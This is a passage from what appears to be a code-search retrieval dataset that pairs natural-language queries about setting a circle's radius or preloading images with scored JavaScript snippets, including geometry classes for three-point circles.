preload(callback) {\n if (options.preloadImages === false) {\n callback();\n return;\n }\n\n var $imageElements = data.itemsContainer.find('img'), loadedImages = 0, totalImages = $imageElements.length;\n\n $imageElements.each(function () {\n $(this).bind('load', function () {\n // Add to number of images loaded and see if they are all done yet\n loadedImages += 1;\n if (loadedImages === totalImages) {\n // All done, perform callback\n callback();\n return;\n }\n });\n // May need to manually reset the src to get the load event to fire\n // http://stackoverflow.com/questions/7137737/ie9-problems-with-jquery-load-event-not-firing\n $(this).attr('src', $(this).attr('src'));\n\n // If browser has cached the images, it may not call trigger a load. Detect this and do it ourselves\n if (this.complete) {\n $(this).trigger('load');\n }\n });\n }", "title": "" }, { "docid": "4f72acc54b86e682fd1d41d15425e689", "score": "0.65914154", "text": "function preload(callback) {\n if (options.preloadImages === false) {\n callback();\n return;\n }\n\n var $imageElements = data.itemsContainer.find('img'), loadedImages = 0, totalImages = $imageElements.length;\n\n $imageElements.each(function () {\n $(this).bind('load', function () {\n // Add to number of images loaded and see if they are all done yet\n loadedImages += 1;\n if (loadedImages === totalImages) {\n // All done, perform callback\n callback();\n return;\n }\n });\n // May need to manually reset the src to get the load event to fire\n // http://stackoverflow.com/questions/7137737/ie9-problems-with-jquery-load-event-not-firing\n $(this).attr('src', $(this).attr('src'));\n\n // If browser has cached the images, it may not call trigger a load. Detect this and do it ourselves\n if (this.complete) {\n $(this).trigger('load');\n }\n });\n }", "title": "" }, { "docid": "7362ae502b8fd00ef412e81ebbb715bb", "score": "0.65809727", "text": "function loadImages(){\n\tfor (var i = 0; i < myImagesData.images.length ; i++) {\n\t\tvar url =myImagesData.directory + myImagesData.images[i].url;\n\t\tvar name = myImagesData.images[i].name;\n\t\tvar info = myImagesData.images[i].description;\n\t\tvar uploadDate = myImagesData.images[i].uploadDate;\n\t\taddImage(url,name,info,uploadDate);\n\t\t}\n}", "title": "" } ]
28b87537df6dfed6a11daf9df6ef3634
Sets the radius/diameter from one 3d point
[ { "docid": "eea420ce5a1b43b32bac6f5a32e6baa8", "score": "0.74968284", "text": "setRadiusPoint(point, normal){\n let radius = point.clone().sub( this.position ).length()\n this.setDiameter( radius*2 )\n }", "title": "" } ]
[ { "docid": "f856bf7cfd775470d328ebccaeb094e7", "score": "0.7064869", "text": "set diameter(diameter){\n this._radius = diameter / 2;\n }", "title": "" }, { "docid": "b260eadeffd6f0214a5a131a8997d2bd", "score": "0.69251806", "text": "set radius(value) {\n if (value <= 0)\n throw new Error('Invalid radius size');\n _radius.set(this, value); \n }", "title": "" }, { "docid": "64c8f01255fc34433a0e82eee90e8109", "score": "0.68995136", "text": "set radius(radius) {\n if(radius<=0) throw new Error(\"invalid radius\");\n _radius1.set(this, radius);\n }", "title": "" }, { "docid": "27d5f707edd4a101ce5df38c84a2407d", "score": "0.6872796", "text": "set diameter(diameter) {\n this.radius = diameter / 2\n }", "title": "" }, { "docid": "cb88a8f151f699533fbae5d009d1f70b", "score": "0.67843854", "text": "setRadius (instancePath, radius) {\n var mesh = this.engine.getRealMeshesForInstancePath(instancePath)[0];\n this.engine.modify3DSphere(mesh, mesh.position.x, mesh.position.y, mesh.position.z, radius, mesh.material);\n }", "title": "" }, { "docid": "62dcafa33ea02b93e3f93f88fb491e02", "score": "0.67039037", "text": "function ld(a){this.radius=a}", "title": "" }, { "docid": "7fb585a354c3ed56f1697f0a41152cd4", "score": "0.66693896", "text": "setRadius(radius) {\n this.radius = radius;\n }", "title": "" }, { "docid": "65f94948206bcf4277f1c85d10f64844", "score": "0.6658971", "text": "set diameter(newDiameter) {\n // console.log(this.diameter)\n this.radius = (newDiameter / 2)\n }", "title": "" }, { "docid": "dcaed58fd5440f3cb3de58d30f5bd4a4", "score": "0.6587261", "text": "function rc(a){this.radius=a}", "title": "" }, { "docid": "628ae2d7da0dc13bb77df8d23fd466ab", "score": "0.65705305", "text": "function Pd(a){this.radius=a}", "title": "" }, { "docid": "e142e266f551baf0a6061cfc425fd62e", "score": "0.65585583", "text": "function kd(a){this.radius=a}", "title": "" }, { "docid": "4af6f8edbb728cdd1991472391374f17", "score": "0.65252256", "text": "set circumference(circumference) {\n this.radius = circumference / (pi * 2)\n }", "title": "" }, { "docid": "770040cdb9a322727d88aa71922e2de9", "score": "0.64535844", "text": "setRadius(someNumber) {\n this.radius = someNumber\n this.setHeight(this.radius * 2);\n this.setWidth(this.radius * 2);\n }", "title": "" }, { "docid": "9f320c7f40596e0d7b3e1ab2cfb339ff", "score": "0.6424914", "text": "function od(b){this.radius=b}", "title": "" }, { "docid": "4351c0bdf2488fa6d930c4c663af1915", "score": "0.6413123", "text": "function Fd(a){this.radius=a}", "title": "" }, { "docid": "443fadef2ac4adef5cdce1f5043c329c", "score": "0.6391439", "text": "function wc(a){this.radius=a}", "title": "" }, { "docid": "da7b43f5d555b56dffbfe68b93c86190", "score": "0.63760275", "text": "function ve(b){this.radius=b}", "title": "" }, { "docid": "6ff8f5cbf72eb0f02918f0dd88d96348", "score": "0.63691735", "text": "function sc(a){this.radius=a}", "title": "" }, { "docid": "6ff8f5cbf72eb0f02918f0dd88d96348", "score": "0.63691735", "text": "function sc(a){this.radius=a}", "title": "" }, { "docid": "a2c97fbe787063ef9bb8a6f76906573f", "score": "0.63431615", "text": "updateRadius() {\n if (this.filters.type === \"volume\") {\n this.circles.eachLayer((layer) => {\n try {\n layer.setRadius(layer.options.volRadius);\n } catch (err) {\n layer.setRadius(this.minRadius);\n console.warn(\"Error setting new radius\");\n }\n });\n } else {\n const currZoom = this.map.getZoom();\n const { minRadius } = this;\n if (currZoom >= 5 && currZoom <= 6.5) {\n this.circles.eachLayer((layer) => {\n layer.setRadius(minRadius);\n });\n } else if (currZoom <= 4.5) {\n this.circles.eachLayer((layer) => {\n layer.setRadius(minRadius * 2);\n });\n } else if (currZoom > 6.5) {\n let zoomFactor = currZoom - 6;\n if (currZoom > 11.5) {\n zoomFactor += 8;\n }\n if (zoomFactor < 2) {\n zoomFactor = 2;\n }\n this.circles.eachLayer((layer) => {\n layer.setRadius(minRadius / zoomFactor);\n });\n }\n }\n }", "title": "" }, { "docid": "496b0a947315f337b4718a83c2b7155c", "score": "0.6272447", "text": "function ob(a){this.radius=a}", "title": "" }, { "docid": "df857184f608aa38ba175d9ec49e2610", "score": "0.6263135", "text": "function me(a){this.radius=a}", "title": "" }, { "docid": "df857184f608aa38ba175d9ec49e2610", "score": "0.6263135", "text": "function me(a){this.radius=a}", "title": "" }, { "docid": "4114ecfe619bb372e14e64b3e3831a11", "score": "0.6260062", "text": "changeRadius(value){\n this.instancedNodes.geometry.attributes.bufferRadius = value;\n this.instancedNodes.material.needsUpdate = true;\n }", "title": "" }, { "docid": "f34ea107950692deb0015fb2e66ed5a8", "score": "0.62326956", "text": "get radius() { return this._radius; }", "title": "" }, { "docid": "fa809819f39e89354a00840aa6e3ec09", "score": "0.6217358", "text": "function tg(a){this.radius=a}", "title": "" }, { "docid": "863bca50ed8fa6ded587f05126f9c1c5", "score": "0.6213631", "text": "function ob(a){this.radius=a;}", "title": "" }, { "docid": "d895a1d3809c52c5ffb7c2865679efcf", "score": "0.6210648", "text": "function ue(a){this.radius=a}", "title": "" }, { "docid": "e088f37fca1050534189b5dd71637edc", "score": "0.618464", "text": "get radius () { return this._radius; }", "title": "" }, { "docid": "56bcbb479805c55250e8b216792a8a03", "score": "0.6153308", "text": "function oe(a){this.radius=a}", "title": "" }, { "docid": "4a2f9ce5cf0022586ef426ba606e2bc1", "score": "0.61353755", "text": "function SetRadius(_radius){\n if(KUBE.Is(_radius) === \"number\"){\n options.radius = _radius;\n }\n return $spinAPI;\n }", "title": "" }, { "docid": "30de0900a4bdc25a806b0d8e1c704aeb", "score": "0.6130466", "text": "function we(a){this.radius=a}", "title": "" }, { "docid": "9436a04bf12942f99ca976349509434c", "score": "0.610538", "text": "set R(newValue) {\n this.setAttribute(\"fixed-circle-radius\", newValue);\n }", "title": "" }, { "docid": "4336f8930a7a062517c9cda8a877d806", "score": "0.6088694", "text": "function setSearchRadius(radius) {\r\n\tmarker_circles.getLayers()[0].setRadius(radius * 1000);\r\n}", "title": "" }, { "docid": "a1eb6ac39559892ed1fd9b606a2a120a", "score": "0.60682744", "text": "constructor() {\n this.radius = 20;\n this.points = [];\n }", "title": "" }, { "docid": "194ff31d6d166fb1a40555f5c5561c3f", "score": "0.6063774", "text": "function te(b){this.radius=b}", "title": "" }, { "docid": "3271b6be27f7b7b73321c085ea2243e2", "score": "0.60445654", "text": "function Me(a){this.radius=a}", "title": "" }, { "docid": "87cd52db283533909edd27ef4969d4d5", "score": "0.6042565", "text": "setRadius(rad){\n this.radius = rad;\n console.log(`Radius of the circle is changed to ${rad}`)\n }", "title": "" }, { "docid": "7f3247cae90db30ab912d58ee2972551", "score": "0.6040397", "text": "function Cc(a){this.radius=a}", "title": "" }, { "docid": "155d8e90cd8fe6f128b0843be8799463", "score": "0.6024035", "text": "function add4dto3d(radius, x, y, z, w) {\n const dw = w - stereographicCenter;\n const d2 = x * x + y * y + z * z + dw * dw;\n const factor = stereographicRadius2 / (d2 - radius * radius);\n if (factor < 0) {\n console.error('mapping.add4dto3d: Circle at \"north pole\" projects with negative radius:');\n console.log('radius, x, y, z, w', radius, x, y, z, w);\n } else {\n add(radius, x * factor, y * factor, z * factor);\n }\n}", "title": "" }, { "docid": "7738e3ff02ef3a97a9c5e376e2c6aa38", "score": "0.59967965", "text": "constructor(center, radius) {\n\t\tthis.center = center;\n\t\tthis.radius = radius;\n\t}", "title": "" }, { "docid": "e84f2aa3c5aa2c02cb968488d6ffecf4", "score": "0.599619", "text": "constructor(radius){\n this._radius = radius;\n }", "title": "" }, { "docid": "4a0ee99daad64fbc13184f443ddc28df", "score": "0.59420395", "text": "constructor(radius,pos){\n this.pos=pos;\n this.radius=radius\n }", "title": "" }, { "docid": "57653ac36bc83dfe95af52a688d7d9d4", "score": "0.5941171", "text": "function Kc(a){this.radius=a}", "title": "" }, { "docid": "57653ac36bc83dfe95af52a688d7d9d4", "score": "0.5941171", "text": "function Kc(a){this.radius=a}", "title": "" }, { "docid": "873e47081fd780b2c59565fbae9a6c8e", "score": "0.5927413", "text": "setRadiuses() {\n this.startRadius = +this.setFigureRadius(this.settings.startRadius).toFixed(\n 2,\n )\n this.minRadius = +this.setFigureRadius(this.settings.minRadius).toFixed(2)\n this.maxRadius = +this.setFigureRadius(this.settings.maxRadius).toFixed(2)\n }", "title": "" }, { "docid": "580daba0ba0392b2e6bdf5e3b4f4d589", "score": "0.59218824", "text": "function radius(d) {\n return default_circle_radius * (1 + Math.pow(d.loc * 1.0 / max_loc, 1.1)); // default_circle_radius + default_circle_radius * d.source / 10;\n}", "title": "" }, { "docid": "4346fe93eaf30482e128b6bdabb717c8", "score": "0.59211516", "text": "function gn(t){this.radius=t}", "title": "" }, { "docid": "422c2b6325a6fd76785fd863c0af4273", "score": "0.58997977", "text": "function Circle(radius){\n this.radius = radius;\n this.pi = 3.14;\n this.diameter = radius*2;\n}", "title": "" }, { "docid": "feea836ed4ee1a4b84119bebc25692e9", "score": "0.58932215", "text": "function set_radius_circle(radius) {\n current_location.radius_circle = new google.maps.Circle({\n center: current_location.coords,\n map: map,\n radius: radius,\n fillColor: '#FF6600',\n fillOpacity: 0.25,\n strokeColor: \"#FFF\",\n strokeWeight: 1\n });\n map.fitBounds(current_location.radius_circle.getBounds());\n }", "title": "" }, { "docid": "06573f9932c5d94334a61ccae1eaa351", "score": "0.5868556", "text": "function bo(t){this.radius=t}", "title": "" }, { "docid": "e464a979d75eb5112849643fd0bd60bc", "score": "0.5866511", "text": "constructor(transform2D, radius) {\n super(transform2D);\n this.radius = radius;\n\n //call once to set the first time in\n this.GetBoundingPrimitive();\n }", "title": "" }, { "docid": "c5051720ffffb64a589e34ce9b8c4c84", "score": "0.58557564", "text": "function changeRadius() {\n\theatmap.set('radius', heatmap.get('radius') ? null : 100);\n}", "title": "" }, { "docid": "d4101ca12d0682c6e3419f08b9e8a104", "score": "0.5853367", "text": "set r(newValue) {\n this.setAttribute(\"moving-circle-radius\", newValue);\n }", "title": "" }, { "docid": "e667f62971df7a21ca99d8eb7119800d", "score": "0.58489543", "text": "_circleRadius() {\n return (this.diameter - BASE_STROKE_WIDTH) / 2;\n }", "title": "" }, { "docid": "034c7cb234194075dfbb018313f9681a", "score": "0.58469397", "text": "function assignRadius(magnitude) {\n return magnitude * 5\n }", "title": "" }, { "docid": "ca9f8861c5964e2708978e5da2f49b94", "score": "0.5830854", "text": "function Ci(a){this.radius=a}", "title": "" }, { "docid": "e03641aface2790cd4df96fd179bc6b0", "score": "0.5820995", "text": "function getRadius(data) { return maxDiameter/(2*scaleParameter[data.level]); }", "title": "" }, { "docid": "19ea1bc3caec45c85b7b3d35a58e086e", "score": "0.58040136", "text": "function sphereVol(radius){return (4/3)*(Math.PI*(Math.pow(radius, 3)));}", "title": "" }, { "docid": "8697e685d0f3019eb6f15847514790da", "score": "0.5798887", "text": "function setRadius(d, y0, k) {\n d.radius = (y0 += d.data.length) * k;\n if (d.children) d.children.forEach(function(d) { setRadius(d, y0, k); });\n }", "title": "" }, { "docid": "ba4a76c6871ef7f48ed3a24fc43f9b9f", "score": "0.5797335", "text": "get radius() {\n return _radius1.get(this);\n }", "title": "" }, { "docid": "6c0618235a4cd53a8bb87e74106f346a", "score": "0.5793452", "text": "function Sphere(radius){\n return 4 * (Math.PI * (Math.pow(radius, 2)));\n }", "title": "" }, { "docid": "d2aa91225bb680e100935f39e71828fb", "score": "0.57887405", "text": "get radius() {\n return _radius.get(this);\n }", "title": "" }, { "docid": "926ba8e88c381b9e2d9fe7ec2e178598", "score": "0.5785904", "text": "setDataFromThreePoints(){\n throw new Error(\"do not use\")\n let {center,diameter,normal} = setDataFromThreePoints(this.pointA, this.pointB, this.pointC)\n \n this.setOrientation( plane.normal )\n this.setCenter( center )\n this.setRadius( radius )\n \n this.pointACross.position.copy( this.pointA.clone().sub( this.position ) )\n this.pointBCross.position.copy( this.pointB.clone().sub( this.position ) )\n this.pointCCross.position.copy( this.pointC.clone().sub( this.position ) )\n }", "title": "" }, { "docid": "4122bee88caa692b421a90b8fe3a7b57", "score": "0.575667", "text": "get diameter() {\n return this.radius * 2;\n }", "title": "" }, { "docid": "44fe0a08c673a114e06e43e0a6233f91", "score": "0.574901", "text": "get diameter(){\n return this._radius * 2; // KAZVAME CHE DIAMETURA E PODADENIQ RADIUS * 2\n }", "title": "" }, { "docid": "ce034c884672902c3eb510f3e9c8c946", "score": "0.5732649", "text": "getRadius() {\n return this.radius;\n }", "title": "" }, { "docid": "4354662eafd1fcf14f378407eaac8baa", "score": "0.5728992", "text": "function setRadius(d, y0, k) {\n d.radius = (y0 += d.data.length) * k;\n if (d.children) d.children.forEach(function(d) { setRadius(d, y0, k); });\n}", "title": "" }, { "docid": "4354662eafd1fcf14f378407eaac8baa", "score": "0.5728992", "text": "function setRadius(d, y0, k) {\n d.radius = (y0 += d.data.length) * k;\n if (d.children) d.children.forEach(function(d) { setRadius(d, y0, k); });\n}", "title": "" }, { "docid": "6a4d2f688672b77d5c7e1463001b8a89", "score": "0.57278705", "text": "constructor(width){\n this.width = width;\n this.radius = 5;\n }", "title": "" }, { "docid": "6a4d2f688672b77d5c7e1463001b8a89", "score": "0.57278705", "text": "constructor(width){\n this.width = width;\n this.radius = 5;\n }", "title": "" }, { "docid": "acffca29b5f80371b58a9d68f84b5a6c", "score": "0.57237196", "text": "function xe(b){this.radius=b}", "title": "" }, { "docid": "fd28708309fa7d1e63bfc10d722ce97c", "score": "0.57107663", "text": "function changeRadius() {\n heatmap.set('radius', heatmap.get('radius') ? null : 900);\n }", "title": "" }, { "docid": "d1cc2e3b43fd9243cfa47f5d7aaa7681", "score": "0.569012", "text": "get diameter() {\n return this.radius * 2\n }", "title": "" }, { "docid": "e7b04ee3ca2c66d346cf5392316f00b2", "score": "0.56861407", "text": "function circleConst(radius){\n this.radius=radius;\n}", "title": "" }, { "docid": "9e31e678bf17bccec6b557e3d7abd646", "score": "0.5665973", "text": "function Circle3ptsObject_3D(_construction, _name, _P1, _P2, _P3) {\n var Cn = _construction;\n var M = new CenterObject(_construction, \"_Center\", this);\n _construction.add(M);\n\n $U.extend(this, new ConstructionObject(_construction, _name)); // Héritage\n\n var me = this;\n var A = _P1;\n var B = _P2;\n var C = _P3;\n var R = 0;\n this.setParent(A, B, C);\n M.setParent(this);\n\n var NB = 500;\n var Ptab = [];\n var phi = Cn.getInterpreter().getEX().EX_phi;\n var theta = Cn.getInterpreter().getEX().EX_theta;\n\n this.redefine = function(_old, _new) {\n if (_old === A) {\n this.addParent(_new);\n A = _new;\n } else if (_old === B) {\n this.addParent(_new);\n B = _new;\n } else if (_old === C) {\n this.addParent(_new);\n C = _new;\n }\n };\n\n this.setDefaults(\"circle\");\n\n this.getCode = function() {\n return \"circle3pts3D\";\n };\n this.getFamilyCode = function() {\n return \"circle3pts3D\";\n };\n this.isInstanceType = function(_c) {\n return (_c === \"circle3pts3D\");\n };\n this.getAssociatedTools = function() {\n return \"point,@callproperty,@calltrash\";\n };\n\n this.getValue = function() {\n return (me.getCn().coordsSystem.l(R));\n };\n\n this.getP1 = function() {\n return M;\n };\n\n this.mouseInside = function(ev) {\n var mx = this.mouseX(ev),\n my = this.mouseY(ev);\n for (var i = 0, len = Ptab.length; i < len; i++) {\n if ($U.isNearToPoint(Ptab[i][0][0], Ptab[i][0][1], mx, my, this.getOversize()))\n return true;\n }\n return false;\n };\n\n\n // ****************************************\n // **** Uniquement pour les animations ****\n // ****************************************\n\n\n this.getAlphaBounds = function(anim) {\n var inc = 5 * Math.round(anim.direction * (anim.speed * anim.delay / 1000));\n return [0, Ptab.length - 1, inc]\n };\n\n this.getAnimationSpeedTab = function() {\n return [0, 20, 25, 50, 100, 200, 400, 500, 750, 1000];\n };\n\n this.getAnimationParams = function(x0, y0, x1, y1) {\n var d = Math.sqrt((x1 - x0) * (x1 - x0) + (y1 - y0) * (y1 - y0));\n var fce = this.getAnimationSpeedTab();\n var f = Math.floor(d / (300 / fce.length));\n if (f >= fce.length) f = fce.length - 1;\n\n var xAB = (Ptab[0][0][0] - x0),\n yAB = (Ptab[0][0][1] - y0);\n var d2 = xAB * xAB + yAB * yAB,\n d1 = 0;\n var k = 0;\n for (var i = 1; i < Ptab.length; i++) {\n xAB = (Ptab[i][0][0] - x0);\n yAB = (Ptab[i][0][1] - y0);\n d1 = xAB * xAB + yAB * yAB;\n if ((d1 < d2) || isNaN(d2)) {\n k = i;\n d2 = d1;\n }\n }\n var xp = Ptab[k - 1][0][0];\n var yp = Ptab[k - 1][0][1];\n var ps = (xp - x0) * (x1 - x0) + (yp - y0) * (y1 - y0);\n var dir = (ps > 0) ? 1 : -1;\n // var dop = Math.sqrt((xp - x0) * (xp - x0) + (yp - y0) * (yp - y0));\n // var dom = Math.sqrt((x1 - x0) * (x1 - x0) + (y1 - y0) * (y1 - y0));\n // var cs = ps / (dop * dom);\n // var aller_retour = (Math.abs(cs) < 0.707);\n var pcent = Math.round(100 * fce[f] / fce[fce.length - 1])+\"%\";\n\n return {\n message: pcent + \"\",\n speed: fce[f],\n direction: dir,\n ar: false\n }\n }\n\n // ****************************************\n // ****************************************\n\n\n this.projectXY = function(_x, _y) {\n var xAB = (Ptab[0][0][0] - _x),\n yAB = (Ptab[0][0][1] - _y);\n var d2 = xAB * xAB + yAB * yAB,\n d1 = 0;\n var k = 0;\n for (var i = 1, len = Ptab.length; i < len; i++) {\n xAB = (Ptab[i][0][0] - _x);\n yAB = (Ptab[i][0][1] - _y);\n d1 = xAB * xAB + yAB * yAB;\n if (d1 < d2) {\n k = i;\n d2 = d1;\n }\n }\n return k;\n };\n\n this.project = function(p) {\n var k = this.projectXY(p.getX(), p.getY());\n p.setXYZ(Ptab[k][1]);\n };\n\n this.projectAlpha = function(p) {\n if (Ptab.length > 0) {\n if (p.getAlpha() < Ptab.length)\n p.setXYZ(Ptab[p.getAlpha()][1]);\n else {\n p.setXYZ(Ptab[Ptab.length - 1][1]);\n }\n }\n\n };\n\n this.setAlpha = function(p) {\n p.setAlpha(this.projectXY(p.getX(), p.getY()));\n };\n\n\n // Seulement pour les macros :\n this.setMacroAutoObject = function() {\n var vn = this.getVarName();\n A.setMacroMode(1);\n A.setMacroSource(function(src) {\n src.geomWrite(false, A.getVarName(), \"DefinitionPoint\", vn, 0);\n });\n B.setMacroMode(1);\n B.setMacroSource(function(src) {\n src.geomWrite(false, B.getVarName(), \"DefinitionPoint\", vn, 1);\n });\n C.setMacroMode(1);\n C.setMacroSource(function(src) {\n src.geomWrite(false, C.getVarName(), \"DefinitionPoint\", vn, 2);\n });\n };\n // Seulement pour les macros :\n this.isAutoObjectFlags = function() {\n return (A.Flag || B.Flag || C.Flag);\n };\n // Seulement pour les macros :\n this.getPt = function(_i) {\n if (_i === 0)\n return A;\n if (_i === 1)\n return B;\n return C;\n };\n\n this.isMoveable = function() {\n return false;\n };\n\n\n this.paintObject = function(ctx) {\n ctx.beginPath();\n ctx.moveTo(Ptab[0][0][0], Ptab[0][0][1]);\n for (var i = 1, len = Ptab.length; i < len; i++) {\n ctx.lineTo(Ptab[i][0][0], Ptab[i][0][1]);\n }\n ctx.lineTo(Ptab[0][0][0], Ptab[0][0][1]);\n ctx.stroke();\n ctx.fill();\n };\n\n\n this.compute = function() {\n var org = Cn.get3DOrigin(me);\n var orgX = Cn.coordsSystem.x(org.getX());\n var orgY = Cn.coordsSystem.y(org.getY());\n var fi = phi();\n var th = theta();\n var cfi = Cn.cos(fi),\n sfi = Cn.sin(fi);\n var cth = Cn.cos(th),\n sth = Cn.sin(th);\n\n var pt = function(_v) {\n return [orgX + _v[0] * (sfi) + _v[1] * (cfi), orgY + _v[0] * (-cfi * sth) + _v[1] * (sfi * sth) + _v[2] * (cth)];\n };\n var px = Cn.coordsSystem.px;\n var py = Cn.coordsSystem.py;\n\n var a = A.coords3D();\n var b = B.coords3D();\n var c = C.coords3D();\n var a2 = (c[0] - b[0]) * (c[0] - b[0]) + (c[1] - b[1]) * (c[1] - b[1]) + (c[2] - b[2]) * (c[2] - b[2]);\n var b2 = (c[0] - a[0]) * (c[0] - a[0]) + (c[1] - a[1]) * (c[1] - a[1]) + (c[2] - a[2]) * (c[2] - a[2]);\n var c2 = (a[0] - b[0]) * (a[0] - b[0]) + (a[1] - b[1]) * (a[1] - b[1]) + (a[2] - b[2]) * (a[2] - b[2]);\n\n // Determination du centre :\n var alpha = a2 * (-a2 + b2 + c2);\n var beta = b2 * (a2 - b2 + c2);\n var gamma = c2 * (a2 + b2 - c2);\n var sum = alpha + beta + gamma;\n var t = [];\n t[0] = a[0] + (beta / sum) * (b[0] - a[0]) + (gamma / sum) * (c[0] - a[0]);\n t[1] = a[1] + (beta / sum) * (b[1] - a[1]) + (gamma / sum) * (c[1] - a[1]);\n t[2] = a[2] + (beta / sum) * (b[2] - a[2]) + (gamma / sum) * (c[2] - a[2]);\n M.setXYZ(t);\n\n // Determination des points du cercle par l'équation barycentrique\n // de ce cercle :\n var tab = [],\n tbc = [],\n tca = [];\n var step = 1 / NB;\n var k, x, y, z, inter, coef;\n for (var i = 0; i < NB; i++) {\n // Tracé de l'arc AB :\n k = i * step;\n inter = b2 * (1 - k) + a2 * k;\n coef = inter / (inter - c2 * k * (1 - k));\n x = c[0] + coef * (a[0] - c[0] + k * (b[0] - a[0]));\n y = c[1] + coef * (a[1] - c[1] + k * (b[1] - a[1]));\n z = c[2] + coef * (a[2] - c[2] + k * (b[2] - a[2]));\n c2d = pt([x, y, z]);\n tab.push([\n [px(c2d[0]), py(c2d[1])],\n [x, y, z]\n ]);\n // Tracé de l'arc BC :\n inter = c2 * (1 - k) + b2 * k;\n coef = inter / (inter - a2 * k * (1 - k));\n x = a[0] + coef * (b[0] - a[0] + k * (c[0] - b[0]));\n y = a[1] + coef * (b[1] - a[1] + k * (c[1] - b[1]));\n z = a[2] + coef * (b[2] - a[2] + k * (c[2] - b[2]));\n c2d = pt([x, y, z]);\n tbc.push([\n [px(c2d[0]), py(c2d[1])],\n [x, y, z]\n ]);\n // Tracé de l'arc CA :\n inter = a2 * (1 - k) + c2 * k;\n coef = inter / (inter - b2 * k * (1 - k));\n x = b[0] + coef * (c[0] - b[0] + k * (a[0] - c[0]));\n y = b[1] + coef * (c[1] - b[1] + k * (a[1] - c[1]));\n z = b[2] + coef * (c[2] - b[2] + k * (a[2] - c[2]));\n c2d = pt([x, y, z]);\n tca.push([\n [px(c2d[0]), py(c2d[1])],\n [x, y, z]\n ]);\n\n }\n // Concaténation des trois arcs en un seul tableau.\n // Chaque élément de ce tableau est un tableau regroupant\n // les coordonnées 2d et 3d du point : [[x,y],[x3d,y3d,z3d]]\n Ptab = tab;\n Ptab = Ptab.concat(tbc);\n Ptab = Ptab.concat(tca);\n };\n\n this.getSource = function(src) {\n src.geomWrite(false, this.getName(), \"Circle3pts3D\", _P1.getVarName(), _P2.getVarName(), _P3.getVarName());\n };\n\n\n}", "title": "" }, { "docid": "9ff3fd2ccf4998dfd872a7c8380a1eca", "score": "0.5642743", "text": "function setNodeRadiusParameter(val){\n\t\traduisParameter = val;\n\t\tnode.transition()\n\t\t\t.duration(500)\n\t\t\t.attr(\"r\", function(d){\n\t\t\t\tif (raduisParameter == \"moveTimes\"){\n\t\t\t\t\trScale.domain([0, maxMoveTimes]);\n\t\t\t\t\td.radius = rScale(d.curChangeTime);\n\t\t\t\t} else if (raduisParameter == \"postTimes\"){\n\t\t\t\t\trScale.domain([0, maxPostTimes]);\n\t\t\t\t\td.radius = rScale(d.curPostCount);\n\t\t\t\t} else if (raduisParameter == \"moveDistance\"){\n\t\t\t\t\trScale.domain([0, Math.sqrt(maxMoveDistance)]);\n\t\t\t\t\td.radius = rScale(Math.sqrt(d.distance));\n\t\t\t\t}\n\t\t\t\treturn d.radius;\n\t\t\t});\n\t}", "title": "" }, { "docid": "137dfe2975b73a3333527be433fee733", "score": "0.56379336", "text": "constructor(radius, color){\n this.radius = radius\n this.color = color\n }", "title": "" }, { "docid": "b55e244a5d7d72de55652ae9b50411a1", "score": "0.56317264", "text": "function getRadius(d) {\n return d * 2\n}", "title": "" }, { "docid": "fab56f41a6e96c7465ea0749cc39a343", "score": "0.56178755", "text": "get radius(){\n return this._radius;\n }", "title": "" }, { "docid": "663efd067e8e6a78850ae376c0ad3578", "score": "0.5615166", "text": "function Circle3ptsObject(_construction, _name, _P1, _P2, _P3) {\n var M = new CenterObject(_construction, \"_Center\", this);\n _construction.add(M);\n\n $U.extend(this, new PrimitiveCircleObject(_construction, _name, M)); // Héritage\n $U.extend(this, new MoveableObject(_construction)); // Héritage\n\n M.setParent(this);\n M.forceFillStyle(this.prefs.color.point_inter);\n M.setHidden(true);\n\n var me = this;\n var P1 = _P1;\n var P2 = _P2;\n var P3 = _P3;\n this.setParent(P1, P2, P3);\n\n this.redefine = function(_old, _new) {\n if (_old === P1) {\n this.addParent(_new);\n P1 = _new;\n } else if (_old === P2) {\n this.addParent(_new);\n P2 = _new;\n } else if (_old === P3) {\n this.addParent(_new);\n P3 = _new;\n }\n };\n\n this.setDefaults(\"circle\");\n\n this.getCode = function() {\n return \"circle3pts\";\n };\n\n this.getM = function() {\n return M;\n };\n\n this.getValue = function() {\n return (me.getCn().coordsSystem.l(me.R));\n };\n\n this.fixIntersection = function(_x, _y, _P) {\n if (P1.near(_x, _y)) {\n _P.setAway(P1);\n return true;\n }\n if (P2.near(_x, _y)) {\n _P.setAway(P2);\n return true;\n }\n if (P3.near(_x, _y)) {\n _P.setAway(P3);\n return true;\n }\n return false;\n };\n\n // Seulement pour les macros :\n this.setMacroAutoObject = function() {\n var vn = this.getVarName();\n P1.setMacroMode(1);\n P1.setMacroSource(function(src) {\n src.geomWrite(false, P1.getVarName(), \"DefinitionPoint\", vn, 0);\n });\n P2.setMacroMode(1);\n P2.setMacroSource(function(src) {\n src.geomWrite(false, P2.getVarName(), \"DefinitionPoint\", vn, 1);\n });\n P3.setMacroMode(1);\n P3.setMacroSource(function(src) {\n src.geomWrite(false, P3.getVarName(), \"DefinitionPoint\", vn, 2);\n });\n };\n // Seulement pour les macros :\n this.isAutoObjectFlags = function() {\n return (P1.Flag || P2.Flag || P3.Flag);\n };\n // Seulement pour les macros :\n this.getPt = function(_i) {\n if (_i === 0)\n return P1;\n if (_i === 1)\n return P2;\n return P3;\n };\n\n this.isMoveable = function() {\n // Si les extrémités sont des points libres :\n if ((P1.getParentLength() === 0) && (P2.getParentLength() === 0) && (P3.getParentLength() === 0))\n return true;\n return false;\n };\n\n this.dragObject = function(_x, _y) {\n var vx = _x - this.startDragX;\n var vy = _y - this.startDragY;\n M.setXY(M.getX() + vx, M.getY() + vy);\n P1.setXY(P1.getX() + vx, P1.getY() + vy);\n P2.setXY(P2.getX() + vx, P2.getY() + vy);\n P3.setXY(P3.getX() + vx, P3.getY() + vy);\n this.startDragX = _x;\n this.startDragY = _y;\n };\n\n this.computeDrag = function() {\n this.computeChilds();\n };\n\n this.paintObject = function(ctx) {\n ctx.beginPath();\n ctx.arc(M.getX(), M.getY(), this.R, 0, Math.PI * 2, true);\n ctx.fill();\n ctx.stroke();\n };\n\n this.compute = function() {\n var t = $U.computeCenter(P1.getX(), P1.getY(), P2.getX(), P2.getY(), P3.getX(), P3.getY());\n M.setXY(t[0], t[1]);\n this.R = $U.computeRay(M.getX(), M.getY(), P1.getX(), P1.getY());\n };\n\n this.getSource = function(src) {\n src.geomWrite(false, this.getName(), \"Circle3pts\", P1.getVarName(), P2.getVarName(), P3.getVarName());\n };\n\n\n}", "title": "" }, { "docid": "663efd067e8e6a78850ae376c0ad3578", "score": "0.5615166", "text": "function 